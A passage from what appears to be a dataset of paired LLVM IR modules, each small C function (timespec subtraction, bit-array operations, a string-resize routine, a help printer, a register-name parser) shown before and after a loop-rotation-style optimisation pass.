%20 = load ptr, ptr %6, align 8
%21 = getelementptr inbounds %struct.timespec, ptr %20, i32 0, i32 1
store i64 %19, ptr %21, align 8
%22 = load ptr, ptr %3, align 8
%23 = getelementptr inbounds %struct.timespec, ptr %22, i32 0, i32 0
%24 = load i64, ptr %23, align 8
%25 = load ptr, ptr %4, align 8
%26 = getelementptr inbounds %struct.timespec, ptr %25, i32 0, i32 0
%27 = load i64, ptr %26, align 8
%28 = sub nsw i64 %24, %27
%29 = load ptr, ptr %6, align 8
%30 = getelementptr inbounds %struct.timespec, ptr %29, i32 0, i32 0
store i64 %28, ptr %30, align 8
%31 = load ptr, ptr %6, align 8
%32 = getelementptr inbounds %struct.timespec, ptr %31, i32 0, i32 0
%33 = load i64, ptr %32, align 8
%34 = icmp slt i64 %33, 0
br i1 %34, label %35, label %44
35: ; preds = %12
%36 = load ptr, ptr %6, align 8
%37 = getelementptr inbounds %struct.timespec, ptr %36, i32 0, i32 1
%38 = load i64, ptr %37, align 8
%39 = add nsw i64 %38, -1
store i64 %39, ptr %37, align 8
%40 = load ptr, ptr %6, align 8
%41 = getelementptr inbounds %struct.timespec, ptr %40, i32 0, i32 0
%42 = load i64, ptr %41, align 8
%43 = add nsw i64 %42, 1000000000
store i64 %43, ptr %41, align 8
br label %44
44: ; preds = %35, %12
%45 = load i16, ptr %5, align 2
%46 = icmp ne i16 %45, 0
br i1 %46, label %47, label %50
47: ; preds = %44
%48 = load ptr, ptr %3, align 8
%49 = call i32 @free(ptr noundef %48)
br label %50
50: ; preds = %47, %44
%51 = load ptr, ptr %6, align 8
ret ptr %51
}
declare ptr @calloc(i32 noundef, i32 noundef) #1
declare ptr @flu_now(...) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpma73blow.c'
source_filename = "/tmp/tmpma73blow.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [36 x i8] c"Set bit poistions 100, 200 and 300\0A\00", align 1
@.str.1 = private unnamed_addr constant [18 x i8] c"Bit %d was set !\0A\00", align 1
@.str.2 = private unnamed_addr constant [27 x i8] c"\0AClear bit poistions 200 \0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca [8 x i32], align 16
%7 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 0, ptr %7, align 4
br label %8
8: ; preds = %15, %2
%9 = load i32, ptr %7, align 4
%10 = icmp slt i32 %9, 8
br i1 %10, label %11, label %18
11: ; preds = %8
%12 = load i32, ptr %7, align 4
%13 = sext i32 %12 to i64
%14 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 %13
store i32 0, ptr %14, align 4
br label %15
15: ; preds = %11
%16 = load i32, ptr %7, align 4
%17 = add nsw i32 %16, 1
store i32 %17, ptr %7, align 4
br label %8, !llvm.loop !6
18: ; preds = %8
%19 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%20 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%21 = call i32 @SetBit(ptr noundef %20, i32 noundef 100)
%22 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%23 = call i32 @SetBit(ptr noundef %22, i32 noundef 200)
%24 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%25 = call i32 @SetBit(ptr noundef %24, i32 noundef 300)
store i32 0, ptr %7, align 4
br label %26
26: ; preds = %38, %18
%27 = load i32, ptr %7, align 4
%28 = icmp slt i32 %27, 320
br i1 %28, label %29, label %41
29: ; preds = %26
%30 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%31 = load i32, ptr %7, align 4
%32 = call i64 @TestBit(ptr noundef %30, i32 noundef %31)
%33 = icmp ne i64 %32, 0
br i1 %33, label %34, label %37
34: ; preds = %29
%35 = load i32, ptr %7, align 4
%36 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %35)
br label %37
37: ; preds = %34, %29
br label %38
38: ; preds = %37
%39 = load i32, ptr %7, align 4
%40 = add nsw i32 %39, 1
store i32 %40, ptr %7, align 4
br label %26, !llvm.loop !8
41: ; preds = %26
%42 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%43 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%44 = call i32 @ClearBit(ptr noundef %43, i32 noundef 200)
store i32 0, ptr %7, align 4
br label %45
45: ; preds = %57, %41
%46 = load i32, ptr %7, align 4
%47 = icmp slt i32 %46, 320
br i1 %47, label %48, label %60
48: ; preds = %45
%49 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%50 = load i32, ptr %7, align 4
%51 = call i64 @TestBit(ptr noundef %49, i32 noundef %50)
%52 = icmp ne i64 %51, 0
br i1 %52, label %53, label %56
53: ; preds = %48
%54 = load i32, ptr %7, align 4
%55 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %54)
br label %56
56: ; preds = %53, %48
br label %57
57: ; preds = %56
%58 = load i32, ptr %7, align 4
%59 = add nsw i32 %58, 1
store i32 %59, ptr %7, align 4
br label %45, !llvm.loop !9
60: ; preds = %45
%61 = load i32, ptr %3, align 4
ret i32 %61
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @SetBit(ptr noundef, i32 noundef) #1
declare i64 @TestBit(ptr noundef, i32 noundef) #1
declare i32 @ClearBit(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpma73blow.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [36 x i8] c"Set bit poistions 100, 200 and 300\0A\00", align 1
@.str.1 = private unnamed_addr constant [18 x i8] c"Bit %d was set !\0A\00", align 1
@.str.2 = private unnamed_addr constant [27 x i8] c"\0AClear bit poistions 200 \0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca [8 x i32], align 16
%7 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 0, ptr %7, align 4
%8 = load i32, ptr %7, align 4
%9 = icmp slt i32 %8, 8
br i1 %9, label %.lr.ph, label %19
.lr.ph: ; preds = %2
br label %10
10: ; preds = %.lr.ph, %14
%11 = load i32, ptr %7, align 4
%12 = sext i32 %11 to i64
%13 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 %12
store i32 0, ptr %13, align 4
br label %14
14: ; preds = %10
%15 = load i32, ptr %7, align 4
%16 = add nsw i32 %15, 1
store i32 %16, ptr %7, align 4
%17 = load i32, ptr %7, align 4
%18 = icmp slt i32 %17, 8
br i1 %18, label %10, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %14
br label %19
19: ; preds = %._crit_edge, %2
%20 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%21 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%22 = call i32 @SetBit(ptr noundef %21, i32 noundef 100)
%23 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%24 = call i32 @SetBit(ptr noundef %23, i32 noundef 200)
%25 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%26 = call i32 @SetBit(ptr noundef %25, i32 noundef 300)
store i32 0, ptr %7, align 4
%27 = load i32, ptr %7, align 4
%28 = icmp slt i32 %27, 320
br i1 %28, label %.lr.ph2, label %43
.lr.ph2: ; preds = %19
br label %29
29: ; preds = %.lr.ph2, %38
%30 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%31 = load i32, ptr %7, align 4
%32 = call i64 @TestBit(ptr noundef %30, i32 noundef %31)
%33 = icmp ne i64 %32, 0
br i1 %33, label %34, label %37
34: ; preds = %29
%35 = load i32, ptr %7, align 4
%36 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %35)
br label %37
37: ; preds = %34, %29
br label %38
38: ; preds = %37
%39 = load i32, ptr %7, align 4
%40 = add nsw i32 %39, 1
store i32 %40, ptr %7, align 4
%41 = load i32, ptr %7, align 4
%42 = icmp slt i32 %41, 320
br i1 %42, label %29, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %38
br label %43
43: ; preds = %._crit_edge3, %19
%44 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
%45 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%46 = call i32 @ClearBit(ptr noundef %45, i32 noundef 200)
store i32 0, ptr %7, align 4
%47 = load i32, ptr %7, align 4
%48 = icmp slt i32 %47, 320
br i1 %48, label %.lr.ph5, label %63
.lr.ph5: ; preds = %43
br label %49
49: ; preds = %.lr.ph5, %58
%50 = getelementptr inbounds [8 x i32], ptr %6, i64 0, i64 0
%51 = load i32, ptr %7, align 4
%52 = call i64 @TestBit(ptr noundef %50, i32 noundef %51)
%53 = icmp ne i64 %52, 0
br i1 %53, label %54, label %57
54: ; preds = %49
%55 = load i32, ptr %7, align 4
%56 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %55)
br label %57
57: ; preds = %54, %49
br label %58
58: ; preds = %57
%59 = load i32, ptr %7, align 4
%60 = add nsw i32 %59, 1
store i32 %60, ptr %7, align 4
%61 = load i32, ptr %7, align 4
%62 = icmp slt i32 %61, 320
br i1 %62, label %49, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %58
br label %63
63: ; preds = %._crit_edge6, %43
%64 = load i32, ptr %3, align 4
ret i32 %64
}
declare i32 @printf(ptr noundef, ...) #1
declare i32 @SetBit(ptr noundef, i32 noundef) #1
declare i64 @TestBit(ptr noundef, i32 noundef) #1
declare i32 @ClearBit(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
|
; ModuleID = '/tmp/tmp_kj2tn_1.c'
source_filename = "/tmp/tmp_kj2tn_1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @strchange(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%11 = load ptr, ptr %6, align 8
%12 = icmp eq ptr %11, null
br i1 %12, label %13, label %14
13: ; preds = %3
br label %17
14: ; preds = %3
%15 = load ptr, ptr %6, align 8
%16 = call i32 @strlen(ptr noundef %15)
br label %17
17: ; preds = %14, %13
%18 = phi i32 [ 0, %13 ], [ %16, %14 ]
store i32 %18, ptr %7, align 4
%19 = load i32, ptr %7, align 4
%20 = load i32, ptr %4, align 4
%21 = sub nsw i32 %19, %20
%22 = call i32 @abs(i32 noundef %21) #3
store i32 %22, ptr %8, align 4
%23 = load i32, ptr %7, align 4
%24 = load i32, ptr %4, align 4
%25 = icmp slt i32 %23, %24
br i1 %25, label %26, label %63
26: ; preds = %17
%27 = load i32, ptr %8, align 4
%28 = icmp ne i32 %27, 0
br i1 %28, label %29, label %61
29: ; preds = %26
%30 = load ptr, ptr %5, align 8
%31 = icmp eq ptr %30, null
br i1 %31, label %32, label %33
32: ; preds = %29
br i1 true, label %60, label %40
33: ; preds = %29
%34 = load ptr, ptr %5, align 8
%35 = load i8, ptr %34, align 1
%36 = sext i8 %35 to i32
%37 = icmp eq i32 %36, 0
br i1 %37, label %38, label %39
38: ; preds = %33
br i1 true, label %60, label %40
39: ; preds = %33
br i1 false, label %60, label %40
40: ; preds = %39, %38, %32
%41 = load ptr, ptr %5, align 8
%42 = call i32 @strlen(ptr noundef %41)
store i32 %42, ptr %9, align 4
%43 = load i32, ptr %8, align 4
%44 = load i32, ptr %9, align 4
%45 = icmp sge i32 %43, %44
br i1 %45, label %46, label %48
46: ; preds = %40
%47 = load ptr, ptr %5, align 8
store i8 0, ptr %47, align 1
br label %59
48: ; preds = %40
%49 = load ptr, ptr %5, align 8
%50 = load ptr, ptr %5, align 8
%51 = load i32, ptr %8, align 4
%52 = sext i32 %51 to i64
%53 = getelementptr inbounds i8, ptr %50, i64 %52
%54 = load i32, ptr %9, align 4
%55 = add nsw i32 1, %54
%56 = load i32, ptr %8, align 4
%57 = sub nsw i32 %55, %56
%58 = call i32 @memmove(ptr noundef %49, ptr noundef %53, i32 noundef %57)
br label %59
59: ; preds = %48, %46
br label %60
60: ; preds = %59, %39, %38, %32
br label %62
61: ; preds = %26
br label %62
62: ; preds = %61, %60
br label %63
63: ; preds = %62, %17
%64 = load i32, ptr %7, align 4
%65 = load i32, ptr %4, align 4
%66 = icmp sgt i32 %64, %65
br i1 %66, label %67, label %88
67: ; preds = %63
%68 = load ptr, ptr %5, align 8
%69 = load ptr, ptr %5, align 8
%70 = call i32 @strlen(ptr noundef %69)
%71 = sext i32 %70 to i64
%72 = getelementptr inbounds i8, ptr %68, i64 %71
store ptr %72, ptr %10, align 8
br label %73
73: ; preds = %84, %67
%74 = load ptr, ptr %10, align 8
%75 = load ptr, ptr %5, align 8
%76 = icmp uge ptr %74, %75
br i1 %76, label %77, label %87
77: ; preds = %73
%78 = load ptr, ptr %10, align 8
%79 = load i8, ptr %78, align 1
%80 = load ptr, ptr %10, align 8
%81 = load i32, ptr %8, align 4
%82 = sext i32 %81 to i64
%83 = getelementptr inbounds i8, ptr %80, i64 %82
store i8 %79, ptr %83, align 1
br label %84
84: ; preds = %77
%85 = load ptr, ptr %10, align 8
%86 = getelementptr inbounds i8, ptr %85, i32 -1
store ptr %86, ptr %10, align 8
br label %73, !llvm.loop !6
87: ; preds = %73
br label %88
88: ; preds = %87, %63
%89 = load i32, ptr %7, align 4
%90 = icmp ne i32 %89, 0
br i1 %90, label %91, label %96
91: ; preds = %88
%92 = load ptr, ptr %5, align 8
%93 = load ptr, ptr %6, align 8
%94 = load i32, ptr %7, align 4
%95 = call i32 @memcpy(ptr noundef %92, ptr noundef %93, i32 noundef %94)
br label %96
96: ; preds = %91, %88
%97 = load ptr, ptr %5, align 8
ret ptr %97
}
declare i32 @strlen(ptr noundef) #1
; Function Attrs: nounwind willreturn memory(none)
declare i32 @abs(i32 noundef) #2
declare i32 @memmove(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind willreturn memory(none) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp_kj2tn_1.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @strchange(i32 noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca ptr, align 8
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr %2, ptr %6, align 8
%11 = load ptr, ptr %6, align 8
%12 = icmp eq ptr %11, null
br i1 %12, label %13, label %14
13: ; preds = %3
br label %17
14: ; preds = %3
%15 = load ptr, ptr %6, align 8
%16 = call i32 @strlen(ptr noundef %15)
br label %17
17: ; preds = %14, %13
%18 = phi i32 [ 0, %13 ], [ %16, %14 ]
store i32 %18, ptr %7, align 4
%19 = load i32, ptr %7, align 4
%20 = load i32, ptr %4, align 4
%21 = sub nsw i32 %19, %20
%22 = call i32 @abs(i32 noundef %21) #3
store i32 %22, ptr %8, align 4
%23 = load i32, ptr %7, align 4
%24 = load i32, ptr %4, align 4
%25 = icmp slt i32 %23, %24
br i1 %25, label %26, label %63
26: ; preds = %17
%27 = load i32, ptr %8, align 4
%28 = icmp ne i32 %27, 0
br i1 %28, label %29, label %61
29: ; preds = %26
%30 = load ptr, ptr %5, align 8
%31 = icmp eq ptr %30, null
br i1 %31, label %32, label %33
32: ; preds = %29
br i1 true, label %60, label %40
33: ; preds = %29
%34 = load ptr, ptr %5, align 8
%35 = load i8, ptr %34, align 1
%36 = sext i8 %35 to i32
%37 = icmp eq i32 %36, 0
br i1 %37, label %38, label %39
38: ; preds = %33
br i1 true, label %60, label %40
39: ; preds = %33
br i1 false, label %60, label %40
40: ; preds = %39, %38, %32
%41 = load ptr, ptr %5, align 8
%42 = call i32 @strlen(ptr noundef %41)
store i32 %42, ptr %9, align 4
%43 = load i32, ptr %8, align 4
%44 = load i32, ptr %9, align 4
%45 = icmp sge i32 %43, %44
br i1 %45, label %46, label %48
46: ; preds = %40
%47 = load ptr, ptr %5, align 8
store i8 0, ptr %47, align 1
br label %59
48: ; preds = %40
%49 = load ptr, ptr %5, align 8
%50 = load ptr, ptr %5, align 8
%51 = load i32, ptr %8, align 4
%52 = sext i32 %51 to i64
%53 = getelementptr inbounds i8, ptr %50, i64 %52
%54 = load i32, ptr %9, align 4
%55 = add nsw i32 1, %54
%56 = load i32, ptr %8, align 4
%57 = sub nsw i32 %55, %56
%58 = call i32 @memmove(ptr noundef %49, ptr noundef %53, i32 noundef %57)
br label %59
59: ; preds = %48, %46
br label %60
60: ; preds = %59, %39, %38, %32
br label %62
61: ; preds = %26
br label %62
62: ; preds = %61, %60
br label %63
63: ; preds = %62, %17
%64 = load i32, ptr %7, align 4
%65 = load i32, ptr %4, align 4
%66 = icmp sgt i32 %64, %65
br i1 %66, label %67, label %90
67: ; preds = %63
%68 = load ptr, ptr %5, align 8
%69 = load ptr, ptr %5, align 8
%70 = call i32 @strlen(ptr noundef %69)
%71 = sext i32 %70 to i64
%72 = getelementptr inbounds i8, ptr %68, i64 %71
store ptr %72, ptr %10, align 8
%73 = load ptr, ptr %10, align 8
%74 = load ptr, ptr %5, align 8
%75 = icmp uge ptr %73, %74
br i1 %75, label %.lr.ph, label %89
.lr.ph: ; preds = %67
br label %76
76: ; preds = %.lr.ph, %83
%77 = load ptr, ptr %10, align 8
%78 = load i8, ptr %77, align 1
%79 = load ptr, ptr %10, align 8
%80 = load i32, ptr %8, align 4
%81 = sext i32 %80 to i64
%82 = getelementptr inbounds i8, ptr %79, i64 %81
store i8 %78, ptr %82, align 1
br label %83
83: ; preds = %76
%84 = load ptr, ptr %10, align 8
%85 = getelementptr inbounds i8, ptr %84, i32 -1
store ptr %85, ptr %10, align 8
%86 = load ptr, ptr %10, align 8
%87 = load ptr, ptr %5, align 8
%88 = icmp uge ptr %86, %87
br i1 %88, label %76, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %83
br label %89
89: ; preds = %._crit_edge, %67
br label %90
90: ; preds = %89, %63
%91 = load i32, ptr %7, align 4
%92 = icmp ne i32 %91, 0
br i1 %92, label %93, label %98
93: ; preds = %90
%94 = load ptr, ptr %5, align 8
%95 = load ptr, ptr %6, align 8
%96 = load i32, ptr %7, align 4
%97 = call i32 @memcpy(ptr noundef %94, ptr noundef %95, i32 noundef %96)
br label %98
98: ; preds = %93, %90
%99 = load ptr, ptr %5, align 8
ret ptr %99
}
declare i32 @strlen(ptr noundef) #1
; Function Attrs: nounwind willreturn memory(none)
declare i32 @abs(i32 noundef) #2
declare i32 @memmove(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind willreturn memory(none) "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { nounwind willreturn memory(none) }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp02ac7y44.c'
source_filename = "/tmp/tmp02ac7y44.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [234 x i8] c"Usage: flat [options] [script.js] \0A\0AOptions:\0A -v, --version print version info\0A -h, --help print this help text\0A -i, --interactive force REPL\0A -n, --nodes print the AST\0A -t, --tokens print tokens\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @fh_print_help() #0 {
%1 = call i32 @printf(ptr noundef @.str)
ret void
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp02ac7y44.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [234 x i8] c"Usage: flat [options] [script.js] \0A\0AOptions:\0A -v, --version print version info\0A -h, --help print this help text\0A -i, --interactive force REPL\0A -n, --nodes print the AST\0A -t, --tokens print tokens\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @fh_print_help() #0 {
%1 = call i32 @printf(ptr noundef @.str)
ret void
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpv8mvevga.c'
source_filename = "/tmp/tmpv8mvevga.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [32 x i8] c"ERROR:bad register name in %s!\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @GetRegNum(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
%6 = load ptr, ptr %4, align 8
%7 = load i8, ptr %6, align 1
%8 = call signext i8 @tolower(i8 noundef signext %7)
%9 = sext i8 %8 to i32
%10 = icmp sge i32 %9, 97
br i1 %10, label %11, label %24
11: ; preds = %2
%12 = load ptr, ptr %4, align 8
%13 = load i8, ptr %12, align 1
%14 = call signext i8 @tolower(i8 noundef signext %13)
%15 = sext i8 %14 to i32
%16 = icmp sle i32 %15, 103
br i1 %16, label %17, label %24
17: ; preds = %11
%18 = load ptr, ptr %4, align 8
%19 = load i8, ptr %18, align 1
%20 = call signext i8 @tolower(i8 noundef signext %19)
%21 = sext i8 %20 to i32
